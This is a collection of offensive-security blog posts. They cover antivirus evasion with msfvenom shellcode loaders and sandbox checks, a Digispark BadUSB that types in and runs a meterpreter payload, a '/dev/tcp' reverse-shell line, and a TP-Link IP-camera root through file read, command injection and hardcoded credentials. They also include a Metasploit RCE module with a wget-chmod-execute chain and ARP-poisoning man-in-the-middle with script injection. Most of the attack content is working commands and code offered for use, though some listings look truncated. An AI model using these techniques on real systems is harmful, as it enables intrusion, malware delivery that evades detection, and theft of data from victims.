Evading Antivirus softwares

Evading Antivirus softwares

0x00 General

Foreword: As the CIA Wikileaks articles mention, antivirus softwares can be bypassed pretty easily. Althought this article is primarily for penetration testing purposes, it also reweals how easy it is to circumvent antivirus softwares and restrictions.

This article should show some ideas about how hackers work. Althought I found this myself, there is identical tutorials in the internet and mostly because of that, I’m writing this. This article covers some basics that are used to bypass the antivirus softwares, but by no means doesn’t cover all means to bypass them. Note: As this is an example, some methods are not as polished as they could be.

Sometimes in penetration testing you may end up with a situation where antivirus software always catches up your payloads. In these cases you need a good way to bypass the antivirus softwares. The method described here is a pretty general, but works with pretty much every antivirus there is.

Method to bypass antivirus detection mentioned here is reported to one antivirus company on February 2016, but from their view, this is more of an undetected malware. As the basic payload is done with msfvenom, one could argue if the payload / method should be detectable by an AV.

The method bypassing antivirus software also evades the sandboxing method. Evasion is as simple as trying to open some file that is sure to exist on every installation, e.g. “c:\windows\system.ini” – file. If it doesn’t exist, we’re in a sandboxing environment done by antivirus software so we just don’t do anything. When again in a normal environment, file is found and payload is executed.

By  sending this method to Virustotal.com, detection rate was 1/59. Virustotal.com is a site, where the service checks the sended file against many antivirus engines. Also, by sending the file there, the antivirus companies get the file as a sample.

Software used:

  • Metasploit (msfvenom, multi/handler)
  • MinGW
  • Notepad

0x01 Restrictions / limitations

It should be noted that the Windows Defender and probably most antivirus softwares nowdays complain about “some program is trying to connect to internet”. Of course, in penetration testing situation, this can be a showstopper. Nonetheless, if you manage to get a shell by changing the .dll of some software and/or tricking the user to run the executable, you may easily get a shell from the victim. And it’s possible to migrate the shellcode to some existing process that already has the access to internet, use existing programs to run malicious code to bypass whitelisting restrictions. There is many available methods to avoid the restrictions.

Of course, there could be some Firewalls/IPS/IDS systems in victims network, but they could also be easily avoided by e.g. using SSL encoded connection back to victim, but that’s another matter and not in scope of this article.


0x02 Setting up the payload

The payload was generated with ‘msfvenom’ that is part of the Metasploit package. With msfvenom, it’s possible to create executables and dll – files straight out of the box, but since we’re trying to evade the  antivirus, we create the payload in C-style output format with the following command:

msfvenom -p windows/shell/reverse_tcp lhost= lport=4321 -e x86/shikata_ga_nai -i 5 -f c

As can be seen, we are also encoding the payload five times with x86/shikata_ga_nai – encoder, port is 4321 and destination for payload to contact is Our payload is now ready to be used for testing in our code. To bypass IDS/IPS systems, payload using encrypted communications back to attacker could be used. This way even the more advanced firewalls could be bypassed since they can’t decrypt the connection.


0x03 DLL Method

One method to bypass antivirus softwares can be e.g. to create a malicious .dll – file and replace some existing .dll with it by a number of methods. As usually .exe – files are considered dangerous, users normally don’t recognize .dll – files as malicious. For testing purposes, this code snippet is just a very crude .dll – file that can be run from command line and doesn’t have any other functionality.

  extern __declspec(dllexport) void Checksandboxing() ;
  extern __declspec(dllimport) void Checksandboxing() ;

extern "C" BOOL WINAPI DllMain(
    DWORD fdwReason,
    LPVOID lpvReserved
) {
switch(fdwReason) {
return TRUE;

void CheckSandboxing()
  /** Test for some existing system file, sandbox evasion **/
  std::ifstream dllfile("c:\\windows\\system.ini", std::ios::binary);
  if (!dllfile)
       MessageBox( NULL, TEXT("Running in sandbox"), TEXT("Sandbox"), MB_OK);     
       MessageBox( NULL, TEXT("Real system, running exploit"), TEXT("Real"), MB_OK);      
    /** msfvenom -p windows/shell/reverse_tcp lhost= lport=4321 -e x86/shikata_ga_nai -i 5 -f c  **/
    unsigned char shellcode[] =

    LPVOID lpAlloc = NULL;
    void (*shellfunc)();

    /** Allocate memory for shellcode (read,write,execute) **/
    lpAlloc = VirtualAlloc(0, 4096, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    if(lpAlloc == NULL)
        printf("Error allocating memory!\n");
        memcpy(lpAlloc, shellcode, lstrlenA((LPCSTR)shellcode)+1);
        shellfunc = (void (*)())lpAlloc;
    /** Sleep for a bit **/

Compilation of the .dll is done as follows with MinGW

"c:\MinGW\bin\mingw32-g++.exe" -c c:\dll_test\main.cpp
"c:\MinGW\bin\mingw32-g++.exe" -shared -o exploittest.dll main.o -Wl,--out-implib,libexample_dll.a

Now the .dll can be checked with antivirus software, checking with Virustotal.com:

Not detected by any (0/60) antivirus software at virustotal.com.

Now, to test the exploit, we first would setup a meterpreter multi/handler to wait for the connection:

And now we can run the payload from the exploit with following command on the command line:

Rundll32 exploittest.dll,@DllMain

What happens next, is Windows Defender or antivirus software will popup a question that ‘exploittest.dll wants to connect to internet…’, if it is accepted, shellcode inside .dll connects back to the attacker and shell is now made! Of course, in real situation this is a showstopper, but shell isn’t the only thing that can be placed inside the .dll – file.

0x04 Executables

As with the .dll – file, sandbox evasion is done by first checking for some existing system file. If file is found, code execution is moved to the payload.


// msfvenom -p windows/meterpreter/reverse_tcp lhost= lport=4321 -e x86/shikata_ga_nai -i 5 -f c
char code[] =

int main(int argc, char **argv)
  FILE *fp = fopen("c:\\windows\\system.ini", "rb");
  if (fp == NULL)
  return 0;

  int (*func)();
  func = (int (*)()) code;
  return 0;

Compilation is done simply by issuing:

c:\MinGW\bin\mingw32-gcc.exe exploittest.c -o exploittest.exe

Afterwards checking with virustotal.com, only Baidu noticed that it is a Trojan. Note to myself: Have to check why Baidu finds this.

To test this, a multi/handler could be setup as in x03 DLL Method (note, different payload) and by simply executing the file. Same nagging from Windows defender and/or antivirus software apply to this also.

0x05 Malicious payloads through IPS / IDS systems

In case there is IPS / IDS systems in front of the victim, these files should pass right through them, but they payloads would get caught. If actual files would get caught, just create a password protected .zip – file and get the files through HTTP for example. So, something like windows/meterpreter/reverse_https could be used as payload with following changes to parameters:

  • EnableStageEncoding true
  • MeterpreterServerName Nginx
  • MeterpreterUserAgent Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
  • StageEncoder (one of the below)
    • x86/fnstenv_mov
    • x86/shikata_ga_nai

With these changes, it’s possible to walk through the firewalls with IPS/IDS systems enabled. One thing I noticed with one major firewall manufacturer is that it blocks SSL encrypted payloads, but after fiddling with ‘stdapi_sys_process_execute’ – string, the shell goes through, but issues ‘critical’ – state in the lofugs. As I went through the firewall, I didn’t research it more. I would wager that it is very well possible to completely hide from the firewall.

Of course, if all else fails, there is always the dnscat… 😉


0x06 Conclusion

Since victim would get an exploit/Trojan that is undetected by antivirus softwares, the possibility of exploiting unsuspecting user is greatly enhanced. Of course Windows Defender and antivirus have restrictions against new connections, but sadly these messages are ignored very often. But since antivirus doesn’t find anything, it is safe yes? No. Much of the security is still on the shoulders of users and antivirus / firewalls / IPS / IDS can’t be trusted to be bulletproof.

These methods could be further developed to do more evasive actions, sleep for a time, write other programs, etc. etc. This article was all about getting a shell from the client, but payload could be e.g. something more malicious. So, be sure not to count on the security software you use, have a common sense. Have a multiple layers of defense to enhance your security.

Exploiting with BadUSB/Digispark + meterpreter payload

Exploiting with BadUSB / Digispark + meterpreter payload

Here is a small guide on how to create a BadUSB – stick with a meterpreter payload to Linux. BadUSB can be a normal USB memory stick with a customized firmware that’ll have the computer to recognize the device as a keyboard. Because of this, the computer thinks that there’s always a user typing on the keyboard, which is a pretty nasty exploit and enablse a lot of possibilities. For example, with physical access to the victims computer you can do following things with BadUSB:

  • Inject malware
  • Steal passwords
  • Delete files
  • etc…whatever you can do with a keyboard, a BadUSB can do also.

Of course, you could buy a Rubber Ducky from Hak5 , but you’d miss all the fun tinkering with cool things. This guide is made for Digispark from Digistump.

Digispark can be programmed so that when the computer accepts it as a keyboard, it starts to send key presses to computer. Since Digispark has only 8Kb (6Kb of programmable space after bootloader), options are somewhat limited, but should be more than enough for most purposes and it’s also possible to circumvent the space limit.

0x00 Pre-requisities:

0x01 Install Arduino-IDE

Since the installation guide is excellent in the digistump.com site, I will not even try to recreate them in detail here. Configure Arduino-IDE by these instructions.

Just make sure you have added following URL to “Additional Boards Manager URLs:” (File -> Preferences):


Also, install “Digistump AVR Boards by Digistump” via Boards manager (Tools -> Boards -> Boards Manager)…

And select “Digispark (Default – 16.5mhz)” as a board.

Arduino-IDE should now be good to go.

0x02 Generating a meterpreter payload

Generation of the payload is pretty straightforward. It’s generated with “msfvenom” as follows.

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= LPORT=880 -f elf > mShell_880

Of course, LPORT and the LHOST should be changed to match your IP-addresses. LHOST should be the Kali box where the metasploit handler is waiting for the connection back from the victim and LPORT is the port you want to use. The output of the msfvenom is directed to file called ‘mShell_880‘. The output of the executable payload is only 155 bytes, so we have plenty of space left.

Since the payload is “typed” to victim, it has to be Base64 encoded, so we can “input” it to victim and generate the executable payload. Basically, what we want to do, is to echo the Base64 string and decode it and direct the output to a file, change the executable bit for the file and run the payload.

Base64 encoding is done as follows:

base64 mShell_880 > mShell_880.b64

mShell_880.b64” – file now holds our payload encoded in Base64. We can use this string in our program that outputs it to victims terminal.

0x03 Programming with Arduino-IDE

The program is very simple and straightforward. I commented the program below, so it should be very clear what is done. On default, it works only with US – keyboard layout, but it’s possible to remap the keyboard layout from “DigiKeyboard.h” – file. Since this is for PoC only, I don’t include any other layouts in this post. Sorry 😉

* Works with US - keyboard layout only, because of testing purposes.
* 1. Send super key ('Windows key') to bring up the search
* 2. input 'terminal' and send enter
* 3. Send our binary payload via base64 encoded string, decode it and output to file
* 4. Change executable bit for the payload and execute it.
* 5. Enjoy.

#include "DigiKeyboard.h"

void setup() {

// LED on.
pinMode(1, OUTPUT);
// Super, delete content
// Start to inject payload, turn the LED on
digitalWrite(1, HIGH);
DigiKeyboard.sendKeyStroke(KEY_DELETE); // Clean

DigiKeyboard.sendKeyStroke(0,MOD_GUI_LEFT); // Super key, open 'search'

DigiKeyboard.print("terminal"); // Program to run

// Delay for 1 second, if terminal is not opened, part of the string below is wasted to /dev/null

// Send our payload

// Change the permissions for the file...
DigiKeyboard.println("chmod 755 /tmp/mShell");
// ...and execute it

// Payload executed!
digitalWrite(1, LOW);


void loop() {
// When scripts are done, blink some LED like it's 19

digitalWrite(1, HIGH);

digitalWrite(1, LOW);


Now, it’s possible to check the code for errors from Arduino-IDE by clicking “Sketch => Verify/Compile” (or by pressing CTRL + R on the Arduino-IDE). If no errors found, the program is ready to be uploaded to Digispark by first clicking “Sketch => Upload” (or by pressing CTRL + U on the Arduino IDE) and you should get a following info on the bottom of the IDE window.

Now the Digispark can be inserted to a USB port on the computer. After a while, the update should go through and you should see following info.

The programming of the Digispark is now ready and it now is a ‘BadUSB’.

Note: I had some problems with the uploading. Sometimes it takes a few tries to get a succesful program upload to Digispark, don’t yet know why..

0x04 Metasploit, multi/handler

Now multi/handler is setup to catch the meterpreter shell. Payload is “linux/x86/meterpreter/reverse_tcp“, since the generated payload

The whole point of this is guide is to demonstrate how dangerous it is to plug in USB sticks. Keep in mind that normal USB stick firmwares can also be reprogrammed like this and it doesn’t necessary help that they are formatted.

multi/handler can simply be setup from the terminal with following command:

msfconsole -x "use multi/handler;\
set PAYLOAD linux/x86/meterpreter/reverse_tcp;\
set LHOST;\
set LPORT 880;\
set AutoRunScript multi_console_command -rc /root/autoruncommands.rc

0x05 The Exploitation

Now we are ready to test the BadUSB we have just created. When the Digispark / BadUSB is now inserted to linux computer, it should open the dashboard/search, open terminal, echo the Base64 encoded payload and decode it to file, change the executable bit for the payload file and run it. When the payload is run, multi/handler gets the shell. Here is a video recorded when the Digispark / BadUSB is inserted in to the linux computer. In the image above, you can see both LEDs from the Digispark are lighted, when the payload on the Digispark is executed.

Top right corner: syslog from ‘victim’, it’s visible when the BadUSB / Digispark is plugged in

Lower right corner: multi/handler from attacking server

0x06 Mitigation

As for mitigation, for Windows, there is a program called ‘Beamgun‘ (haven’t tested it yet). Of course as for Windows, Linux, OSX you could always disable USB ports, create scripts that prevent adding new hardware etc., but if you really need USB devices, that would be pretty cumbersome in the long run. And of course…don’t plug untrusted devices to your computer and don’t let anybody plug unknown USB devices to your computer. There is also a physical, small box called ‘USBguard‘ (also not tested in this experiment), that should block these kinds of attacks.

0x07 Conclusion

BadUSB stick could also be created with a normal USB drive (e.g. ‘Rubber ducky’ from Hak5) and this shows how bad effects plugging ‘found’ USB stick can have. Payload could also be something more nasty, e.g. wipe the whole drive from the computer.

It’s also possible to create payloads for Windows and OSX. For OSX, you can get a shell using for example following payload after you have launched a shell:

DigiKeyboard.print("/bin/bash -i > /dev/tcp/ 0<&1 2>1");

I’ll post example codes for Windows and OSX also when I have time to tinker some more.


(Original article: https://www.vesiluoma.com/exploiting-with-badusb-meterpreter-digispark/ )

TP-Link TL-SC3171G IP-camera r00t

TP-Link TL-SC3171G IP-camera r00t

I have few of these and due to recent hackings of ip – cameras and IoT devices, I decided to take a look at my own cameras (that are behind NAT by the way)… It was an interesting thing to do some research on these devices and they were actually very easy to pop.

Here is a method to root the device. Browsers connection was through Burp Suite so I could intercept and check the requests back and forth between the device and my browser. Of course, OWASP ZAP or something similar could also be used to do this.

TP-Link TL-SC3171G IP-camera main settings view.

When browsing through the the web interface, I ended up to a page that showed devices syslog. Interesting.

When checking the requests that were made to that page, I noticed that there was a very interesting request made to the device. It seems like the file is given as a parameter…

READ.filePath=syslog” ? I changed that parameter to ”/etc/hosts” – file and noticed that I could read files from the device file system. Any file.

Now this would already be bad, more if I would have the knowledge for all the config files on this embedded system…

After some enumeration, I didn’t find any ’jackpot’, so I moved on…After few minutes of research I found another interesting request that was made when testing the SMTP option on the device.

#1: I found a request that enabled me to write files anywhere I would like on the device. Thought this didn’t help me much, since I didn’t know where the cgi-bin was and there were no open ssh/telnet ports etc.

#2: that same ”Test” option sended another request. It compiled a command from the info user had filled to the form.

As can be seen from the Response, the email-test command is composed from the sended values. After some tests I found out that the device had ’wput’ command (that was clear based on the FTP connection tests via devices admin page). I was able to upload all files to my own server with ’wput’, after I  changed ”RcptToAddr1” value for example to…

  • nonexisting@example.fi ; /bin/wput -t0 -u -nc -p -o/testftp.log /bin* ftp://xyz:xyz@;
    • Note 1: value had to be URL encoded so it goes through.
    • Note 2: Probably all variables include RCE possibility on that request since they are not properly sanitized.

After I downloaded almost everything from the device ((/var/*, /etc/*, /web/*, /root/*, /usr/*, /bin/* /sbin/*…) through the FTP connection, I researched the files and noticed that there was telnetd in the busybox version included in the device. I once again modified the command through the email command (of course, in URL encoded format):

  • xyz@x00.fi; /bin/telnetd ;

And the gates were open…now port 23 answered:

After few tests I noticed that the default user is ’qmik’ (argh, it says ”QMIK login”…) and the user had sudo rights.


Of course, prerequisite is that one would have access to the email test page and that requires admin rights to the device. But no worries, after some enumeration of files, I noticed that there is hardcoded credentials in the device ( manufacture / erutcafunam )…

Oh, and that IP-camera doesn’t use any CSRF tokens, so it’s also possible to get your camera hacked by just visiting some malicious sites (if you’re logged in to the camera). Oh yes, and did you notice that the camera uses basic HTTP auth? That means your browser stays logged in until you close the browser.

– apox

Exploit Development – Metasploit modules for fun & profit

Lets go through an exploit module I built for Metasploit Framework.

In a nutshell, the exploit contains only a couple of key elements – a HTTP Client and Server and a generated malicious payload.

I needed an easy way to abuse a Remote Command Execution vulnerability. A full exploit module that would generate the selected payload and return a meterpreter reverse shell back to me. All in one go.

Generally, exploit development is much more time consuming – and sometimes even more difficult – than just “triggering” the found vulnerability with a HTTP Request for instance.

What this exploit module does, is it exploits a RCE vulnerability via a malicious HTTP GET request.

Whats required from the victim, is that a linux ‘wget’ tool is installed, which is very common.    … and of course that there is a RCE vulnerability that allows the attacker to run shell commands.

Here is an example of PHP Code that would create such a vulnerability.

 <?php exec($_GET['cmd']); ?>

You would simple call this URL by https://rot.fi/vulnerable_url.php?cmd=hostname

and that would result the backend webserver to run this the supplied command ‘hostname’. You wouldn’t see the result on page, as it is not printed on it.

I’ll break down the module and try to explain each part of it.


In order to get this module working, we need to define that it’s a Metasploit Exploit Module, and include the required libraries.

To define a module type, you define it in the class MetasploitModule < Msf::Exploit.

For an auxiliary module, you would use class MetasploitModule < Msf::Auxiliary

require ‘msf/core’

class MetasploitModule < Msf::Exploit
include Msf::Exploit::EXE
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer::HTML


Msf::Exploit::EXE, is what you need to generate a binary payload.

This guy is essential to our specific need to respond to a HTTP GET request with a file that’s loaded with goodies.


Msf::Exploit::Remote::HttpClient , is what we’ll be using to poke the target and have it request a file from us.

HttpClient will introduce you to four extra Opts – RHOST, RPORT,SSL and VHOST – which will be used to define which server and port we want use to send the HTTP requests to and VHOST for defining what kind of HTTP Host-header we want to use. The SSL Opt is a boolean defining whether or not the client connection is encrypted.

Above, I gave you an example of running a ‘hostname‘ command on the vulnerable server, which would likely be of no benefit to the attacker.

For this case, I would use a chained command that would firstly download my evil binary payload, give it execute permissions and then run it…
…like ‘wget -O /tmp/evil;chmod 777 /tmp/evil;/tmp/evil

In a HTTP Request, it would look something like this

https://rot.fi/vulnerable_url.php?cmd=wget -O /tmp/evil

https://rot.fi/vulnerable_url.php?cmd=chmod 777 /tmp/evil



Msf::Exploit::Remote::HttpServer::HTML, is what we use to deliver requested the payload.

The HttpServer will introduce you to two extra Opts, SRVHOST and SRVPORT and it has two key functions you need to notice. The Opts will define which IP and port the HttpServer will bind to.

def primer

What is defined here runs when the HttpServer is started but still before any connections are accepted in.

We don’t need to do anything here, this time.

def on_request_uri(cli, req)

This function is called each time a request comes in.

What is noteworthy is that the on_request_uri is called when the exact URI is called, which we will be defining later in the module.

In this function I’m generating the binary payload on each request and sending it back to the client.

What the payload will contain, will be the one you choose while configuring the exploit.



For an exploit module, you need to define a target, and the register_options are used by the HTTP Server library.

In the initialize function you also define the Name, Author and License for your creation, among other things. For a BufferOverflow exploit, you’d define bad characters and usually multiple targets like kernel versions and such.

Also, notice that the register_options Opts are typecasted, to strings, integers, etc..



A Metasploit Exploit will be using a exploit and check functions.

def check

This function is supposed to be used to check if the target is vulnerable. Sometimes its not even possible but its best to have even partial check than to launch an exploit script against a target that’s not even online.


The above check function sends a GET request at the RHOST and checks if the HTTP return code is OK or not.

Based on the HTTP code, we return a Vulnerable or a Safe status to the exploit module.

def exploit

In most cases, this is where the magic happens.

You can rewrite Opts by manipulating the datastore[] array.

The HTTPServer is started as a new instance with the start_service() function.

By setting SSL Opt to true/false you can choose whether you want to start the HTTPServer with Transport Layer Security.


I’ve put in a sleep(150) because sometime it takes time for the victim to execute the payload, so we don’t want our script to die before that happens.

The actual exploitation takes place in the request function

def request



What now?

So whats really cool about a exploit module like this, is that you get it all  in the Swiss army knife we call Metasploit Framework.

Instead of using this module, we could do the same manually:

  1. Setup and configure an Apache Web server
  2. Create a binary payload with msfvenom manually
  3. Setup a Listener /  Handler to grab the shell
  4. Trigger the vulnerability with curl/wget

Yes, I guess if you compare the time it takes to develop a working module to the time it takes to do the above four steps, the latter wins.

Let me demonstrate you how this is exploited via the working module.

Firstly, you need to download and add the module to Metasploit

git clone https://github.com/jake08/Metasploit
mv Metasploit/rot_rce.rb /usr/share/metasploit-framework/modules/exploits/linux/http

Then start up msfconsole and find the module

search rot_rce


Then use and set it up according to your network

here’s a friendly  reminder what’s what:

  • RHOST => Target Host that has the RCE Vulnerability
  • RPORT => Target Port for the above server
  • SRVHOST => The IP for the Local HTTP Server, make sure its reachable by RHOST
  • SRVPORT => Port for the above Server
  • VHOST => Virtual Host, or HTTP Host-header for RHOST eg. amazon.com, rot.fi
  • WRITABLEDIR => A Directory on the RHOST where we can drop the payload
  • PAYLOAD => Your friendly neighborhood reverse shell
  • LHOST => Return IP for the reverse shell, make sure its reachable by RHOST
  • LPORT => Port for above server


Run check and exploit for profit.



Additional resources

Complete module code

More on Metasploit Module development



j3k, hacker


Decomposing LAN security with Scapy and Burp Suite

How to intercept and proxy HTTP(S) requests from a mobile device without having to root the device.

This slideshow requires JavaScript.

Man-in-the-Middle with RotMiTM()

This is a demo of how to intercept and proxy HTTP and HTTPS requests from a mobile device without having to root the device (though it isn’t limited to mobile devices).

As an alternative to HAK5 WiFi Pineapple this might be the cheaper option, but obviously doesn’t have all the fancy features that a pineapple has.

Check out this, a script on how to abuse a WiFi Pinapple by Apox.

In short, it’s about ARP Poisoning the LAN network to route all traffic from the victim to me and then intercept and modify the HTTP/HTTPS requests and responses.

By using python flask server, I wanted to demonstrate how simple it would be to have the victim run malicious code.

In total, the whole project was about 100 lines of code and most of the time spent on this project was on writing this blog post.

Of course there are warnings of self-signed certificates, but that only applies to HTTPS.

Tools used in this demo

Burp Suite (by Portswigger) to intercept HTTP/S Requests.

Python Scapy Framework to ARP Poison the network and “reroute” traffic

Python flask to setup an easy and fast web server.

Flask isn’t necessarily required to accomplish this, but its a nice and handy tool for capturing and storing data like stolen cookies etc, sky’s the limit.
e.g You could easily create a SQLite database and store each client, request, session cookie, parameter value and so forth

But now to the actual demo..



After firing up the script, you need to define which interface you’re going to use for poisoning, which is the victims IP address and the gateway IP, which usually is the nearest router or firewall.

The script will assume some of the targets, but better fill them in according to your use case.


How ARP Poisoning works, is that you broadcast malicious ARP Packets to your Layer 2 Network .

Basically, a device broadcasts to the network a packet asking “Who has this IP address” and to that question, the device that really does have that IP address sort of broadcasts into the network saying “its me”.

What we do here is we also say “its me”, which will override the legit response meaning that now the device thinks that we’re actually the gateway.

In order to make this bi-directional, we also need to poison the way back to the client, and we do.


def rot(self,victimIP, gatewayIP, interface):
    while 1:
        self.poison(victimIP, victimMAC, gatewayIP, gatewayMAC)

In order to maintain the decomposing state of the network, we continue broadcasting the malicious ARP packets over and over again.

Below you can see it in action. Make note that both the “gateway” and the victim have the same MAC address (c4:85:08:8b:94:67) which actually is the MAC address of the attacker, which is us.


It’s alive!

So now, the Frankenstein has been awakened, and the network is ours.

By utilizing tcpdump we can inspect and verify that indeed, the traffic is going through us.


In the above example, we can see a HTTP GET request to j3k.fi.

So now that we’re the man in the middle, we want to intercept the request before its going to where its supposed to.

For that we need to redirect traffic with iptables to our proxy of choice, which is Burp Suite in this case.

  http="iptables -t nat -A PREROUTING -i "+interface+" -p tcp -m tcp --dport 80 -j REDIRECT --to-ports 8080"
  https="iptables -t nat -A PREROUTING -i "+interface+" -p tcp -m tcp --dport 443 -j REDIRECT --to-ports 8080"

Setting up Burp

This tool is excellent as is and very expandable by so many public modules for pretty much anything that concerns testing web applications.


To get started, you need to configure Burp proxy to listen the port defined in the iptables redirect. Port TCP/8080.

Also, be sure to enable the invisible proxy setting, as it is vital for this to work.

Now, Burp Suite will be able to intercept the requests and we can start modifying them.

For this demo, we added a Hostname Resolution for j3k.fi to point to, where our malicious python flask web server is located.


Genie in a bottle


What I mean by Genie, is  a hacker using Python Flask.

We are using a flask server to return HTTP Code 200 and some HTML code, more on this below..

With Python Flask, you can create an adhoc HTTP server to do basically whatever you want, as it is a Python framework, its just a matter of what you can or want do with it..

Back to Burp, capture and modify

On the mobile device, we browse to https://j3k.fi and what happens here is that our MiTM box, intercepts the request, replaces the real IP address of j3k.fi with what was defined in the Hostname Resolution setting in Burp Suite.

So now, the victim assumes that whatever response he gets, will be originating from real j3k.fi, when it really isn’t…



Voilà, we’ve now successfully sent the victim a messagebox saying ‘XSS’.

Hardly exciting huh?

Feel free to replace that HTML/JavaScript with some that is more targeted, like a phishing site or a network login form asking for Hotel Room number, credit card numbers etc..



J3k, hacker.